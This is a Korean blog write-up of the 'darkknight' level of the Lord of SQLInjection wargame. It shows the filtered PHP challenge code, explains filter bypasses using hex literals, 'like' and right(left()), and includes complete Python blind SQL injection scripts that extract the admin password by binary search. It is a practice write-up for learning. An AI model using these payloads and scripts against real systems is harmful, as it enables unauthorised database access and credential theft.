[WARGAME][los] darkknight

jckim22·2022년 11월 24일
0

[WEBHACKING] STUDY (WARGAME)

목록 보기
104/114

아래는 서버 코드이다.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

이번에도 blind sql injection이다.
전과 다른 점은 ascii와 싱글 쿼터를 필터링하고 pw 뒤에 no라는 추가적인 파라미터가 존재한다는 것이다.
다만 pw는 ''로 되어있고 no는 싱글쿼터가 없다.

처음에는 코드를 잘 확인하지 않고 no는 쿼터를 필터링하지 않는 줄 알고 아래에 역슬래시를 사용해서 우회해보려고 했다.



당연히 실패였다.

그 후 생각한 것이 아래이다.
no=3까지는 거짓으로 판명이나고 그 후에 or연산으로 후자 연산이 실행되게 하는 방법이다.
no에는 쿼터가 없으므로 16진수로 문자열 우회를 할 수 있다.
admin은 16진수로 0x6164D696E이다.

그럼 아래와 같은 쿼리로 테스트를 해보자.


아래처럼 성공적으로 Helo admin이 출력된 것을 볼 수 있다.

비밀번호를 같은 원리로 구해볼 것이다.
위 쿼리 뒤에 &&를 붙이고 이전 문제와 같이 length를 찾는다.
혹시나 해서 8을 해봤는데


아래처럼 바로 되었다.

이번 문제도 역시 길이는 8이었다.

그래도 코드는 짜주자.
이전에 풀었던 코드를 가져와 일부분을 수정하는 식으로 문제를 풀었다.
먼저 아래는 비밀번호 길이를 구하는 코드이다.

import requests
import time

url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"

cookies = {
    'PHPSESSID': ''
}


i = 0
start = 1
end = 100
while (True):

    i += 1
    mid=(start+end)//2

    params = {
        'pw': "",
        'no':f'3 || (id) like 0x61646D696E && length(pw) > ({mid})'
    }

    print(f"try{i}")
    
    if 'Hello admin' in requests.get(url, params=params, cookies=cookies).text:
        start=mid
        print(f"st{start}")
    else:
        end=mid
        print(f"en{end}")

    if end-start==1:
        print(f"pw length : {end}")
        pw_length=mid
        break

그리고 아래는 실행화면이다.

비밀번호의 길이는 8임을 알 수 있다.

이제 전에 썼던 이분탐색을 이용해서 이번 문제도 효율적인 수행시간으로 문제를 풀어보자.
아래는 최종 익스플로잇이다.

import requests
import time

url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"

cookies = {
    'PHPSESSID': ''
}


i = 0
start = 1
end = 100
while (True):

    i += 1
    mid=(start+end)//2

    params = {
        'pw': "",
        'no':f'3 || (id) like 0x61646D696E && length(pw) > ({mid})'
    }

    print(f"try{i}")
    
    if 'Hello admin' in requests.get(url, params=params, cookies=cookies).text:
        start=mid
        print(f"st{start}")
    else:
        end=mid
        print(f"en{end}")

    if end-start==1:
        print(f"pw length : {end}")
        pw_length=mid
        break


pw=""

start = 48
end = 127

for i in range(1,pw_length+1):   
    start = 1
    end = 127

    while(True):
        mid=(start+end)//2
        print(mid)
        print(chr(mid))
        params = {
            'pw': "",
            'no':f"3 || (id) like 0x61646D696E && hex(right(left(pw,{str(i)}),1)) > hex({hex(mid-1)})"
        }

        res=requests.get(url,params=params,cookies=cookies)

        if end-start<=1:
            print(f"{i}번째 문자는{chr(mid)}") 
            pw+=chr(mid)
            break       


        if 'Hello admin' in res.text:
            start=mid
            print(f"st{start}")
        else:
            end=mid
            print(f"en{end}")


    
    

print(f"password : {pw}")

저번 문제에서 sql 상에서 대소문자 구별이 없는 문제로 아스키 코드값이 상대적으로 더 낮은 대문자만을 구해와 수동으로 비밀번호를 구했었다.

그 문제를 해결하기 위헤 위에서 hex를 이용했다.
먼저 아스키 코드 값을 python hex함수로 감싸서 0x~ 형태의 16진수로 바꾸고 sql 상에서 0x는 문자로 인식되기 때문에 sql의 hex 함수를 더 썼다.
그렇게 되면서 16진수로 비교하게 되었고 비교하는 글자들도 sql상에 hex를 씌워주어서 16진수로 바꾸어주었다.
그렇게 해서 16진수 vs 16진수로 비교할 수 있게 되고 파이썬에서 가져온 값을 chr로 문자로 변환시켜 주면 소문자도 완벽하게 구별된 값을 가져올 수 있게 된다.

실행결과는 아래와 같다.


한번에 구한 비밀번호를 페이로드로 보내주게 되면

아래처럼 클리어 할 수 있다.

profile
개발/보안

0개의 댓글